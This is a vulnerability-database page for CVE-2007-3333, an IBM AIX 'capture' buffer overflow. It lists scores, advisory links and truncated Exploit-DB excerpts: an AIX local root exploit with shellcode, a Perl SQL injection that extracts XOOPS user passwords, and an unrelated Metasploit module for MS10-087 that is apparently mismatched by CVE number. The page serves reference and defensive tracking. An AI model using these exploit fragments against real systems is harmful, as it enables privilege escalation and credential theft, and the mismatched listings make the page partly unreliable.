CVE-2007-3333
published 2007-07-26CVE-2007-3333: Stack-based buffer overflow in capture in IBM AIX 5.3 SP6 and 5.2.0 allows remote attackers to execute arbitrary code via a large number of terminal control…
PriorityP337medium6.9CVSS 2.0
AVLACMAuNCCICAC
EXPLOIT
EPSS
3.50%
87.9th percentile
Stack-based buffer overflow in capture in IBM AIX 5.3 SP6 and 5.2.0 allows remote attackers to execute arbitrary code via a large number of terminal control sequences.
Affected
2 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| ibm | aix | — | — |
| ibm | aix | — | — |
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
No detection rules found.
Exploit-DB
Microsoft Word - '.RTF' pFragments Stack Buffer Overflow (File Format) (MS10-087) (Metasploit)
exploitdb·2011-03-04
CVE-2010-3333 Microsoft Word - '.RTF' pFragments Stack Buffer Overflow (File Format) (MS10-087) (Metasploit)
Microsoft Word - '.RTF' pFragments Stack Buffer Overflow (File Format) (MS10-087) (Metasploit)
---
##
# $Id: ms10_087_rtf_pfragments_bof.rb 11875 2011-03-04 08:39:48Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 'Microsoft Word RTF pFragments Stack Buffer Overflow (File Format)',
'Description' => %q{
This module exploits a stack-based buffer overflow in the handling of the
'pFragments' shape property within the Microsoft Word RTF parser. All versions
of Microsoft Office 2010, 2007, 2003, and XP prior to the release of the
MS10-087
Exploit-DB
IBM AIX 5.3 SP6 - Capture Terminal Sequence Privilege Escalation
exploitdb·2007-07-27
CVE-2007-3333 IBM AIX 5.3 SP6 - Capture Terminal Sequence Privilege Escalation
IBM AIX 5.3 SP6 - Capture Terminal Sequence Privilege Escalation
---
/* 07/2007: public release
* IBM AIX
#include
#include
#include
#include
#include
#include
#define TARGET "/usr/bin/capture"
#define VALCNT 40
#define MAX(x,y) ((x) > (y) ? (x) : (y))
#define ALIGN(x,y) (((x) + (y) - 1) / (y) * (y))
unsigned char qaazcode[] =
"\x60\x60\x60\x60\x60\x60\x60\x60"
"\x7c\x63\x1a\x79\x40\x82\xff\xfd"
"\x7e\xa8\x02\xa6\x3a\xb5\x01\x01"
"\x88\x55\xff\x5b\x3a\xd5\xff\x1b"
"\x7e\xc8\x03\xa6\x4c\xc6\x33\x42"
"\x44\xff\xff\x02\x38\x75\xff\x5f"
"\x38\x63\x01\x01\x88\x95\xff\x5d"
"\x38\x63\x01\x02\x38\x63\xfe\xff"
"\x88\xa3\xfe\xff\x7c\x04\x28\x40"
"\x40\x82\xff\xf0\x7c\xa5\x2a\x78"
"\x98\xa3\xfe\xff\x88\x55\xff\x5c"
"\x38\x75\xff\x5f\x38\x81\xff\xf8"
"\x90\x61\xff\xf8\x90\xa1\xff\xfc"
"\x4b\xff\
Exploit-DB
IBM AIX 5.2/5.3 - Capture Command Local Stack Buffer Overflow
exploitdb·2007-07-26
CVE-2007-3333 IBM AIX 5.2/5.3 - Capture Command Local Stack Buffer Overflow
IBM AIX 5.2/5.3 - Capture Command Local Stack Buffer Overflow
---
// source: https://www.securityfocus.com/bid/25075/info
IBM AIX is prone to a local, stack-based buffer-overflow vulnerability because it fails to perform adequate boundary checks on user-supplied input to a program that is installed setuid-superuser.
Local attackers can exploit this issue to execute arbitrary code with superuser privileges. Failed attacks will likely cause denial-of-service conditions.
/* 07/2007: public release
*
* qaaz@aix:~$ ./aix-capture
* --------------------------------
* AIX capture Local Root Exploit
* By qaaz
* --------------------------------
* bash: no job control in this shell
* bash-3.00#
*/
#include
#include
#include
#include
#include
#include
#include
#define TARGET "/usr/bin/capture"
Exploit-DB
XOOPS Module WF-Section 1.01 - 'articleId' SQL Injection
exploitdb·2007-04-02
CVE-2007-1974 XOOPS Module WF-Section 1.01 - 'articleId' SQL Injection
XOOPS Module WF-Section 1.01 - 'articleId' SQL Injection
---
#!/usr/bin/perl
#[Script Name: XOOPS Module WF-Section : ";
$dir = ;
chop ($dir);
if ($dir =~ /exit/){
print "-- Exploit Failed[You Are Exited] \n";
exit();
}
if ($dir =~ /\//){}
else {
print "-- Exploit Failed[No DIR] \n";
exit();
}
print "User ID (uid): ";
$id = ;
chop ($id);
$target = "9999999%20union%20select%201111,2222,3333,4444,concat(char(117,115,101,114,110,97,109,101,58),uname,char(112,97,115,115,119,111,114,100,58),pass),6666,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0%20from%20xoops_users%20where%20uid%20like%20".$id.$kapan;
$target = $host.$dir.$file.$target;
#Writing data to socket
print "+**********************************************************************+\n";
print "+ Trying to connect: $server\n";
$sock
No writeups or analysis indexed.
ftp://aix.software.ibm.com/aix/efixes/security/READMEhttp://labs.idefense.com/intelligence/vulnerabilities/display.php?id=570http://secunia.com/advisories/26219http://www-1.ibm.com/support/docview.wss?uid=isg1IZ01134http://www-1.ibm.com/support/docview.wss?uid=isg1IZ01135http://www.securityfocus.com/bid/25075http://www.securitytracker.com/id?1018464http://www.vupen.com/english/advisories/2007/2676https://exchange.xforce.ibmcloud.com/vulnerabilities/35626ftp://aix.software.ibm.com/aix/efixes/security/READMEhttp://labs.idefense.com/intelligence/vulnerabilities/display.php?id=570http://secunia.com/advisories/26219http://www-1.ibm.com/support/docview.wss?uid=isg1IZ01134http://www-1.ibm.com/support/docview.wss?uid=isg1IZ01135http://www.securityfocus.com/bid/25075http://www.securitytracker.com/id?1018464http://www.vupen.com/english/advisories/2007/2676https://exchange.xforce.ibmcloud.com/vulnerabilities/35626
2007-07-26
Published